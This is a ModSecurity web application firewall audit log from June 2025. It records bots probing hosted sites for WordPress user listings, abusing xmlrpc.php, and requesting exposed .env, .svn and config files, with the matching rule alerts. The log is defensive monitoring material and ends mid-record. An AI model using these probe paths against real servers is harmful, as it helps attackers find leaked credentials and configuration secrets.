//wp-json/wp/v2/users/ HTTP/1.0 Host: www.thebrandwagon.in X-Real-IP: 13.234.226.227 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: _sfs_id=4732be2791411cf1a99f20be6bc810321750014458 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --44960a44-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.thebrandwagon.in/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --44960a44-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.thebrandwagon.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.thebrandwagon.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.thebrandwagon.in"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8Z_T3D4g1mGjVnV5KDEgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/thebrandwagon.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014461465337 96646 (- - -) Stopwatch2: 1750014461465337 96646; combined=2065, p1=315, p2=1652, p3=0, p4=0, p5=97, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --44960a44-Z-- --5a859748-A-- [16/Jun/2025:00:38:10.858970 +0530] aE8aGQW_rlaNA7qLBTtASgAAAAs 207.244.255.76 50096 127.0.0.1 7081 --5a859748-B-- GET ///wp-json/wp/v2/users/ HTTP/1.0 Host: www.tandonamit.com X-Real-IP: 207.244.255.76 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0 Referer: http://tandonamit.com///wp-json/wp/v2/users/ Accept-Encoding: gzip --5a859748-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.tandonamit.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 392 Connection: close Content-Type: application/json; charset=UTF-8 --5a859748-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.tandonamit.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.tandonamit.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.tandonamit.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8aGQW_rlaNA7qLBTtASgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/tandonamit.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014489347361 1511732 (- - -) Stopwatch2: 1750014489347361 1511732; combined=1987, p1=332, p2=1544, p3=0, p4=0, p5=111, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a859748-Z-- --9faf7c44-A-- [16/Jun/2025:00:38:25.482533 +0530] aE8aKCKD19h5xDtM-2wZHwAAAAo 128.199.112.101 35728 127.0.0.1 7081 --9faf7c44-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9faf7c44-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9faf7c44-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8aKCKD19h5xDtM-2wZHwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014504511812 970777 (- - -) Stopwatch2: 1750014504511812 970777; combined=2302, p1=364, p2=1545, p3=43, p4=75, p5=171, sr=93, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9faf7c44-Z-- --6dce5165-A-- [16/Jun/2025:00:38:29.452129 +0530] aE8aLHsalJN_0-_70dLsewAAAAU 185.177.72.210 36184 127.0.0.1 7081 --6dce5165-B-- GET /src/assembly/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6dce5165-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=95eac0cb7203c307feac43b2d820d4991750014509; expires=Sun, 15 Jun 2025 20:08:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6dce5165-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/assembly/.env"] [unique_id "aE8aLHsalJN_0-_70dLsewAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014508774013 678261 (- - -) Stopwatch2: 1750014508774013 678261; combined=1810, p1=395, p2=1319, p3=0, p4=0, p5=96, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dce5165-Z-- --9d4b6054-A-- [16/Jun/2025:00:38:35.427674 +0530] aE8aMpnj7pFxi-BGHz6qCgAAAAI 185.177.72.210 50406 127.0.0.1 7081 --9d4b6054-B-- GET /:8080/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9d4b6054-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1611e4945338bec346f05046c40c03641750014515; expires=Sun, 15 Jun 2025 20:08:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9d4b6054-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/crm/.env"] [unique_id "aE8aMpnj7pFxi-BGHz6qCgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014514757996 669768 (- - -) Stopwatch2: 1750014514757996 669768; combined=1932, p1=365, p2=1448, p3=0, p4=0, p5=118, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d4b6054-Z-- --3ee81d69-A-- [16/Jun/2025:00:38:41.249671 +0530] aE8aOD3D4g1mGjVnV5KDOgAAAAY 185.177.72.210 57388 127.0.0.1 7081 --3ee81d69-B-- GET /backups/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ee81d69-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=25a24d4da485f1408548393743568ad21750014521; expires=Sun, 15 Jun 2025 20:08:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ee81d69-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.prod"] [unique_id "aE8aOD3D4g1mGjVnV5KDOgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014520603006 646728 (- - -) Stopwatch2: 1750014520603006 646728; combined=1823, p1=331, p2=1394, p3=0, p4=0, p5=97, sr=79, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ee81d69-Z-- --eb6cd329-A-- [16/Jun/2025:00:38:58.008949 +0530] aE8aSVeqy5hRjKvJEAyZbQAAAAE 185.177.72.210 44980 127.0.0.1 7081 --eb6cd329-B-- GET /:5000/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb6cd329-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80f956a73e423d1478ed85b10033348b1750014537; expires=Sun, 15 Jun 2025 20:08:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb6cd329-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/shop/.env"] [unique_id "aE8aSVeqy5hRjKvJEAyZbQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014537276476 732535 (- - -) Stopwatch2: 1750014537276476 732535; combined=1927, p1=369, p2=1440, p3=0, p4=0, p5=118, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb6cd329-Z-- --3b88c42b-A-- [16/Jun/2025:00:39:06.169193 +0530] aE8aUS7MaF0j8lD2KTIU5gAAAAM 185.177.72.210 45920 127.0.0.1 7081 --3b88c42b-B-- GET /:8080/tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b88c42b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=65332f373a48f43fd5b97060ea86afd31750014545; expires=Sun, 15 Jun 2025 20:09:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b88c42b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/tests/.env"] [unique_id "aE8aUS7MaF0j8lD2KTIU5gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014545482202 687082 (- - -) Stopwatch2: 1750014545482202 687082; combined=1983, p1=388, p2=1473, p3=0, p4=0, p5=121, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b88c42b-Z-- --fe056841-A-- [16/Jun/2025:00:39:16.239113 +0530] aE8aWyCwfN5GtQhYhHBA1QAAAAw 185.177.72.210 38238 127.0.0.1 7081 --fe056841-B-- GET /.env.hide HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fe056841-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5ba3b1b4ddb960b65d8e249296ae38a11750014556; expires=Sun, 15 Jun 2025 20:09:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fe056841-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.hide"] [unique_id "aE8aWyCwfN5GtQhYhHBA1QAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014555591591 647585 (- - -) Stopwatch2: 1750014555591591 647585; combined=1602, p1=346, p2=1164, p3=0, p4=0, p5=92, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe056841-Z-- --3ce9f65f-A-- [16/Jun/2025:00:39:22.257693 +0530] aE8aYZnj7pFxi-BGHz6qIgAAAAI 185.177.72.210 59224 127.0.0.1 7081 --3ce9f65f-B-- GET /:8008/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ce9f65f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=14424d7c55f350efddd8acca6a435ff81750014562; expires=Sun, 15 Jun 2025 20:09:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ce9f65f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/admin/.env.staging"] [unique_id "aE8aYZnj7pFxi-BGHz6qIgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014561583423 674344 (- - -) Stopwatch2: 1750014561583423 674344; combined=2025, p1=452, p2=1480, p3=0, p4=0, p5=93, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ce9f65f-Z-- --908f4a27-A-- [16/Jun/2025:00:39:25.490762 +0530] aE8aZHsalJN_0-_70dLsnQAAAAU 128.199.112.101 59698 127.0.0.1 7081 --908f4a27-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --908f4a27-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --908f4a27-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8aZHsalJN_0-_70dLsnQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014564546738 944081 (- - -) Stopwatch2: 1750014564546738 944081; combined=2169, p1=355, p2=1344, p3=48, p4=66, p5=211, sr=96, sw=145, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --908f4a27-Z-- --ec558d56-A-- [16/Jun/2025:00:39:26.363570 +0530] aE8aZSCwfN5GtQhYhHBA5AAAAAw 185.177.72.210 59904 127.0.0.1 7081 --ec558d56-B-- GET /.env.prod.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec558d56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4c68be9a38a45a0765ab9c90a07a81f1750014566; expires=Sun, 15 Jun 2025 20:09:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec558d56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.prod.local"] [unique_id "aE8aZSCwfN5GtQhYhHBA5AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014565708310 655334 (- - -) Stopwatch2: 1750014565708310 655334; combined=1801, p1=359, p2=1344, p3=0, p4=0, p5=97, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec558d56-Z-- --2434c608-A-- [16/Jun/2025:00:39:31.464548 +0530] aE8aaleqy5hRjKvJEAyZhQAAAAE 185.177.72.210 40638 127.0.0.1 7081 --2434c608-B-- GET /.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2434c608-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5eb22e58cffc523df00e7073dd0468e11750014571; expires=Sun, 15 Jun 2025 20:09:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2434c608-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/entries"] [unique_id "aE8aaleqy5hRjKvJEAyZhQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014570783042 681590 (- - -) Stopwatch2: 1750014570783042 681590; combined=1763, p1=442, p2=1187, p3=0, p4=0, p5=133, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2434c608-Z-- --e04d9b01-A-- [16/Jun/2025:00:39:41.313033 +0530] aE8adAW_rlaNA7qLBTtAhgAAAAs 185.177.72.210 41042 127.0.0.1 7081 --e04d9b01-B-- GET /app/config/parameters.yml HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e04d9b01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=229576e29e8f50991f6b4af3899571891750014581; expires=Sun, 15 Jun 2025 20:09:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; 